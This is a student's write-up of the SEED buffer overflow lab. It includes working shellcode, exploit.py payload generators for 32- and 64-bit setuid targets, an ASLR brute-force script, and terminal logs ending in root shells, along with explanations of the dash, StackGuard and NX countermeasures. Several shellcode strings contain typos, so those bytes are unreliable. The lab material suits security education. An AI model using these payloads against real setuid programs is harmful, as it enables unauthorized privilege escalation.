

P2 - Buffer Overflow Attack Lab

Tyler Fink (tdf22b)

Task 1 - Getting Familiar With Shellcode

3.4 - Task: Invoking the Shellcode

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// Binary code for setuid(0)
// 64-bit:  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
// 32-bit:  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"

const char shellcode[] =
#ifdef __x86_64__
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
    char code[500];

    strcpy(code, shellcode);
    int (*func)() = (int(*)())code;

    func();
    return 1;
}

~
~
"call_shellcode.c" 32L, 653C
```

The code above is from "call_shellcode.c". This is code provided by the lab.

```
[10/03/25]seed@VM:~/.../shellcode$ make all
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[10/03/25]seed@VM:~/.../shellcode$ ls -l
total 44
-rwxrwxr-x 1 seed seed 15672 Oct  3 23:11 a32.out
-rwxrwxr-x 1 seed seed 16752 Oct  3 23:11 a64.out
-rw-rw-r-- 1 seed seed  653 Dec 22  2020 call_shellcode.c
-rw-rw-r-- 1 seed seed  312 Dec 22  2020 Makefile
[10/03/25]seed@VM:~/.../shellcode$ ./a32.out
$ exit
[10/03/25]seed@VM:~/.../shellcode$ ./a64.out
$ exit
```

Running the make file with the command "make all" creates two executables called a32.out and a64.out. Both of these executables give root shell access when run. These do use the execstack keyword when compiling. This means that the stack is executable, allowing code to run on it. In this case, the execve function runs with the parameters "/bin/sh" and NULL, granting root shell access.

Task 2 - Understanding the Vulnerable Program

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 */
#ifdef BUF_SIZE
#define BUF_SIZE 124
#endif

void dummy_function(char *str);

int bof(char *str)
{
    char buffer[BUF_SIZE];

    // The following statement has a buffer overflow problem
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    if (!badfile) {
        perror("Opening badfile"); exit(1);
    }

    int length = fread(str, sizeof(char), 517, badfile);
    printf("Input size: %d\n", length);
    dummy_function(str);
    fprintf(stdout, "==== Returned Properly ==== \n");
    return 1;
}

// This function is used to insert a stack frame of size
// 1000 (approximately) between main's and bof's stack frames.
// The function itself does not do anything.
void dummy_function(char *str)
{
    char dummy_buffer[1000];
```

This is the vulnerable program that will be exploited. It is vulnerable because `strcpy` does not check bounds, allowing a string of size 517 to be copied into a buffer of size 124.

```

FLAGS      = -z execstack -fno-stack-protector
FLAGS_32    = -m32
TARGET      = stack-L1 stack-L2 stack-L3 stack-L4 stack-L1-dbg stack-L2-dbg stack-L3-dbg stack-L4-dbg

L1 = 124
L2 = 180
L3 = 168
L4 = 10

all: $(TARGET)

stack-L1: stack.c
    gcc -DBUF_SIZE=$(L1) $(FLAGS) $(FLAGS_32) -o $@ stack.c
    gcc -DBUF_SIZE=$(L1) $(FLAGS) $(FLAGS_32) -g -o $@-dbg stack.c
    sudo chown root $@ && sudo chmod 4755 $@

```

The above screenshot shows the makefile with the adjusted L# values.

```

[10/03/25]seed@VM:~/.../code$ vim Makefile
[10/03/25]seed@VM:~/.../code$ make all
gcc -DBUF_SIZE=124 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=124 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=180 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=180 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=168 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=168 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
[10/03/25]seed@VM:~/.../code$

```

All the L# are created with the correct flags.

```

[10/03/25]seed@VM:~/.../code$ ls -l
total 168
-rwxrwxr-x 1 seed seed 270 Dec 22 2020 brute-force.sh
-rwxrwxr-x 1 seed seed 891 Dec 22 2020 exploit.py
-rw-rw-r-- 1 seed seed 965 Oct 3 23:25 Makefile
-rw-rw-r-- 1 seed seed 1132 Oct 3 23:18 stack.c
-rwsr-xr-x 1 root seed 15908 Oct 3 23:25 stack-L1
-rwxrwxr-x 1 seed seed 18684 Oct 3 23:25 stack-L1-dbg
-rwsr-xr-x 1 root seed 15908 Oct 3 23:25 stack-L2
-rwxrwxr-x 1 seed seed 18684 Oct 3 23:25 stack-L2-dbg
-rwsr-xr-x 1 root seed 17112 Oct 3 23:25 stack-L3
-rwxrwxr-x 1 seed seed 20112 Oct 3 23:25 stack-L3-dbg
-rwsr-xr-x 1 root seed 17112 Oct 3 23:25 stack-L4
-rwxrwxr-x 1 seed seed 20104 Oct 3 23:25 stack-L4-dbg

```

Task 3: Launching Attack on 32-bit Program (Level 1)

5.1 Investigation

```
[10/08/25]seed@VM:~/.../code$ touch badfile
[10/08/25]seed@VM:~/.../code$ gdb stack-L1-dbg -q
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
    if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
    if pyversion is 3:
Reading symbols from stack-L1-dbg...
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ r
Starting program: /home/seed/P2/Labsetup/code/stack-L1-dbg
Input size: 0
-----
```

```
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb68
gdb-peda$ p &buffer
$2 = (char (*)[124]) 0xffffcae4
gdb-peda$ q
[10/08/25]seed@VM:~/.../code$
```

We create a badfile so that gdb can run the debugger program called "stack-L1-dbg". I ran gdb in quiet mode so that it would be easier to screenshot. Then I create a breakpoint at the bof() function, which is where the buffer overflow vulnerability is. Then I ran the program, and it stopped at the bof() function. Then I use the next command so that I am actually inside the bof() function and can get the ebp value relative to the bof() function. I use the command "p" to print the addresses of ebp and buffer inside the bof() function.

5.2 Launching Attacks

```
gdb-peda$ p/d 0xffffcb68 - 0xffffcae4  
$3 = 132
```

This is the offset between where the buffer starts and ebp. This is the critical value I will use to place the malicious code on the ret instruction, which should jump to the memory location holding the malicious code.

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#####
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)          # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffcb68+100                # Change this number
offset = 136                          # Change this number

L = 4      # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
#####

# Write the content to a file
"exploit.py" 30L, 1002C
```

21,23

This is the full written [exploit.py](#) program. I replaced the shellcode that will properly execute a root shell in a 32-bit binary program. Then I place the shell code at the end of the payload. This is because the payload is filled with NOOPs. This means that if the ret address jumps to a NOOP value in the payload, it will skip over the NOOPs until it finds a valid piece of code to execute. My ret value is the value of ebp plus 100 because that is the address in the payload that contains NOOPs, which will run until they hit the malicious code at the end

of the payload. The offset is the value we obtained from subtracting `ebp - buffer`. We add four to this to place the address of the payload on the actual `ret` instruction in the stack.

```
[10/08/25]seed@VM:~/.../code$ ./exploit.py
[10/08/25]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# whoami
root
# exit
[10/08/25]seed@VM:~/.../code$
```

After running [exploit.py](#) and `stack-L1` as it shows in the screenshot shot I was given a root shell and successfully completed task 3.

Task 4: Launching Attack without Knowing Buffer Size (L2)

By knowing the range of the buffer size (100-200), we can repeatedly place the address of the malicious code within that range until it lands on the `ret` instruction in the stack.

First, we need to obtain the value of the `ebp`, as this is now the only address that we need to know. The reason for this is that we need to know where to jump to in relation to `ebp` because we know the first possible entry point for the malicious code is `ebp + 12`.

```
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb68
```

This is the same `ebp` value as the one in `stack-L1` which I find interesting.

```

import sys

# Replace the content with the actual shellcode
shellcode= (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#####
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcb68+100 # Change this number
for i in range(0,196,4):
    content[i:i+4] = ret.to_bytes(4,byteorder='little')
#####

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
~

```

22,1

This new [exploit.py](#) does not depend on the offset. This means that the size and the address of the buffer are not needed. It achieves this by the addition of a for loop. This for loop loops over the range 0-200 and writes the address we want to jump to (The area full of noops), which is within the range of `ebp + 100`, which we obtained from `gdb`.

```

[10/09/25]seed@VM:~/.../code$ vim exploit.py
[10/09/25]seed@VM:~/.../code$ ./exploit.py
[10/09/25]seed@VM:~/.../code$ ./stack-L2
Input size: 517
# whoami
root
# exit

```

Then I ran the exploit, and then I ran `stack-L2`, and I gained a root shell.

Task 5: Launching Attack on 64-bit Program (level 3)

```
Legend: code, data, rodata, value
20      strcpy(buffer, str);
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffff990
gdb-peda$ p &buffer
$2 = (char (*)[168]) 0x7fffffff8e0
gdb-peda$ p/d 0x7fffffff990 - 0x7fffffff8e0
$3 = 176
```

First, I run gdb on the stack-L3 program. I put a breakpoint at bof() and ran it. It jumped next into the function, and I printed the address values of rbp and buffer to find the difference. What to do with these values concerning the 64-bit program is the difficult part. Because 64-bit programs always have a leading 2 bytes of zeros (0x00007fffffff990) this means when the address goes into the strcpy function, the leading zeros are treated as terminators and will terminate the function rather than giving us the buffer overflow vulnerability. But because of the endianness of the machine, i.e., little endianness, if I put the return address at the end of the payload, beyond the scope of the strcpy and over the ret instructions with the leading zeros now trailing, I can make the exploit work.

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\xf0\x05").encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#####
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffff990 + 1500 # Change this number
offset = 184 # Change this number

L = 8 # Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset+L] = (ret).to_bytes(L,byteorder='little')
#####

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

I constructed my payload very similarly to tasks 3 & 4, which involved 32-bit. The reason behind adding 1500 to the ret value is simple. I could not figure out how to properly execute the shell code within the bof function; therefore, I jumped past the bof, passed the dummy function, and returned to the original badfile in main, which contains my shell code around offset 1500. This approach is going to be similar in the next attack with a smaller buffer (that is where I got the idea from).

```
[10/12/25]seed@VM:~/.../code$ vim exploit.py
[10/12/25]seed@VM:~/.../code$ ./exploit.py
[10/12/25]seed@VM:~/.../code$ ./stack-L3
Input size: 517
# whoami
root
# exit
[10/12/25]seed@VM:~/.../code$ █
```

Task 6: Launching Attack on 64-bit Program (Level 4)

```
Legend: code, data, rodata, value
20      strcpy(buffer, str);
gdb-peda$ p/x $rbp
$1 = 0x7fffffff9d990
gdb-peda$ p/x &buffer
$2 = 0x7fffffff9d986
gdb-peda$ p/d 0x7fffffff9d990 - 0x7fffffff9d986
$3 = 10
gdb-peda$ q
```

I ran the same gdb commands as the last task and obtained all the information I needed. I have the RBP address and the offset. I know that my ret value needs to jump to the location in main with my malicious code. We do have a dummy function that does nothing other than take up 1000 bytes in the stack. So I constructed my payload as such:

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05").encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#####
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffff990 + 1500 # Change this number
offset = 18 # Change this number

L = 8 # Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset+L] = (ret).to_bytes(L,byteorder='little')
#####

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

The ret value is the address of rbp + 1500 because it goes through the 1000 bytes of the dummy function and back to the location of the badfile in main. The only difference between this attack and the previous one is the offset value.

```
[10/12/25]seed@VM:~/.../code$ vim exploit.py
[10/12/25]seed@VM:~/.../code$ ./exploit.py
[10/12/25]seed@VM:~/.../code$ ./stack-L4
Input size: 517
# wo hoami
# whoami
root
# exit
[10/12/25]seed@VM:~/.../code$
```

Task 7: Defeating dash's Countermeasures

```
[10/12/25]seed@VM:~/.../code$ sudo ln -sf /bin/dash /bin/sh
[10/12/25]seed@VM:~/.../code$
```

Without Setuid(0):

```
[10/12/25]seed@VM:~/.../shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
[10/12/25]seed@VM:~/.../shellcode$ ./a32.out
$ whoami
seed
$ exit
[10/12/25]seed@VM:~/.../shellcode$ ./a64.out
$ whoami
seed
$ exit
```

Make the change to setuid(0) at the beginning:

```
const char shellcode[] =
#ifdef __x86_64__
    "\x48\x31\xff\x48\x31\xc0\xb0\x69\xf0\x05"
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\xf0\x05"
#else
    "\x31\xdb\x31\xc0\xb0\xd5xcd\x80"
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0bxcd\x80"
#endif

[10/12/25]seed@VM:~/.../shellcode$ vim call_shellcode.c
[10/12/25]seed@VM:~/.../shellcode$ make setuid
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out
[10/12/25]seed@VM:~/.../shellcode$ ./a32.out
# whoami
root
# exit
[10/12/25]seed@VM:~/.../shellcode$ ./a64.out
# whoami
root
# exit
[10/12/25]seed@VM:~/.../shellcode$ █
```

New [exploit.py](#) defeating the new countermeasures for stack-L1:

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode=(
    "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#####
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)          # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcb68+100                  # Change this number
offset = 136                          # Change this number

L = 4      # Use 4 for 32-bit address and 8 for 64-bit address

content[offset:offset+L] = (ret).to_bytes(L,byteorder='little')
#####

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)
```

And I was given root as shown:

```
[10/12/25]seed@VM:~/.../code$ vim exploit.py
[10/12/25]seed@VM:~/.../code$ ./exploit.py
[10/12/25]seed@VM:~/.../code$ ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18 2019 /bin/dash
lrwxrwxrwx 1 root root      9 Oct 12 16:53 /bin/sh -> /bin/dash
-rwxr-xr-x 1 root root 878288 Feb 23 2020 /bin/zsh
[10/12/25]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# whoami
root
# exit
[10/12/25]seed@VM:~/.../code$ █
```

The reason this works is very straightforward. I use the same offsets and addresses as stack-L1, but to defeat dash, I needed to add the shellcode to invoke `setuid(0)`.

Task 8: Defeating Address Randomization

```
#!/bin/bash

SECONDS=0
value=0

while true; do
    value=$(( $value + 1 ))
    duration=$SECONDS
    min=$((duration / 60))
    sec=$((duration % 60))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far."
    ./stack-L1
done
```

This is the brute_force.sh script. This loops through every address until it hits the ret instruction, which will jump to the location in memory with the payload shellcode.

```
[10/12/25]seed@VM:~/.../code$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[10/12/25]seed@VM:~/.../code$ ./brute-force.sh
```

I then turn on address randomization and run [brute-force.sh](#)

```
0 minutes and 6 seconds elapsed.
The program has been running 2812 times so far.
Input size: 517
./brute-force.sh: line 14: 56291 Segmentation fault      ./stack-L1
0 minutes and 6 seconds elapsed.
The program has been running 2813 times so far.
Input size: 517
./brute-force.sh: line 14: 56292 Segmentation fault      ./stack-L1
0 minutes and 6 seconds elapsed.
The program has been running 2814 times so far.
Input size: 517
./brute-force.sh: line 14: 56293 Segmentation fault      ./stack-L1
0 minutes and 6 seconds elapsed.
The program has been running 2815 times so far.
Input size: 517
./brute-force.sh: line 14: 56294 Segmentation fault      ./stack-L1
0 minutes and 6 seconds elapsed.
The program has been running 2816 times so far.
Input size: 517
./brute-force.sh: line 14: 56295 Segmentation fault      ./stack-L1
0 minutes and 6 seconds elapsed.
The program has been running 2817 times so far.
Input size: 517
█
```

This is what the output looks like when running the brute_force.sh script.

```
Input size: 517
./brute-force.sh: line 14: 75966 Segmentation fault      ./stack-L1
1 minutes and 2 seconds elapsed.
The program has been running 22487 times so far.
Input size: 517
# whoami
root
# exit
```

After 1 minute and 2 seconds, I am given a root shell. It ran 22487 times.

Task 9a: Turn on the StackGuard Protection

```
[10/13/25]seed@VM:~/.../code$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[10/13/25]seed@VM:~/.../code$ ./exploit.py
[10/13/25]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# whoami
root
# exit
[10/13/25]seed@VM:~/.../code$ █
```

Address randomization turned off and the payload still works on stack-L1.

```
[10/13/25]seed@VM:~/.../code$ make clean
rm -f badfile stack-L1 stack-L2 stack-L3 stack-L4 stack-L1-dbg stack-L2-dbg stack-L3-dbg stack-L4-dbg
peda-session-stack*.txt .gdb_history
[10/13/25]seed@VM:~/.../code$ make all
gcc -DBUF_SIZE=124 -z execstack -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=124 -z execstack -m32 -g -o stack-L1-dbg stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=180 -z execstack -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=180 -z execstack -m32 -g -o stack-L2-dbg stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=168 -z execstack -o stack-L3 stack.c
gcc -DBUF_SIZE=168 -z execstack -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
[10/13/25]seed@VM:~/.../code$
```

I then recompiled all of the programs without the -fno-stack-protector flag.

```
[10/13/25]seed@VM:~/.../code$ ./exploit.py
[10/13/25]seed@VM:~/.../code$ ./stack-L1
Input size: 517
*** stack smashing detected ***: terminated
Aborted
[10/13/25]seed@VM:~/.../code$ █
```

I then run the same stack-L1 program with the same badfile but with the -fno-stack-protector flag turned off, and it gives the following message: "stack smashing detected... Aborted." This happens because the compiler emits a prologue that pushes a secret canary value next to my saved return address. On function return, an epilogue compares the saved canary to the original. The exploit overwrites past the buffer, hits the canary, which mismatches, calls __stack_chk_fail(), and aborts with that message.

Task 9b: Turn on the Non-executable Stack Protection

```
[10/13/25]seed@VM:~/.../shellcode$ vim Makefile
[10/13/25]seed@VM:~/.../shellcode$ make all
gcc -m32 -o a32.out call_shellcode.c
gcc -o a64.out call_shellcode.c
[10/13/25]seed@VM:~/.../shellcode$ ls -l
total 44
-rwxrwxr-x 1 seed seed 15672 Oct 13 11:44 a32.out
-rwxrwxr-x 1 seed seed 16752 Oct 13 11:44 a64.out
-rw-rw-r-- 1 seed seed  739 Oct 12 17:01 call_shellcode.c
-rw-rw-r-- 1 seed seed  286 Oct 13 11:44 Makefile
[10/13/25]seed@VM:~/.../shellcode$ █
```

I recompile the call_shellcode.c into a32.out and a64.out, without the "-z execstack" option.

```
[10/13/25]seed@VM:~/.../shellcode$ ./a32.out
Segmentation fault
[10/13/25]seed@VM:~/.../shellcode$ ./a64.out
Segmentation fault
[10/13/25]seed@VM:~/.../shellcode$
```

Both of the programs produced segmentation faults. The CPU tries to fetch an instruction from a page without execute permission, resulting in a page-fault on execute (NX violation), after which the kernel delivers SIGSEGV. That's the segfault that is shown in both a32.out and a64.out.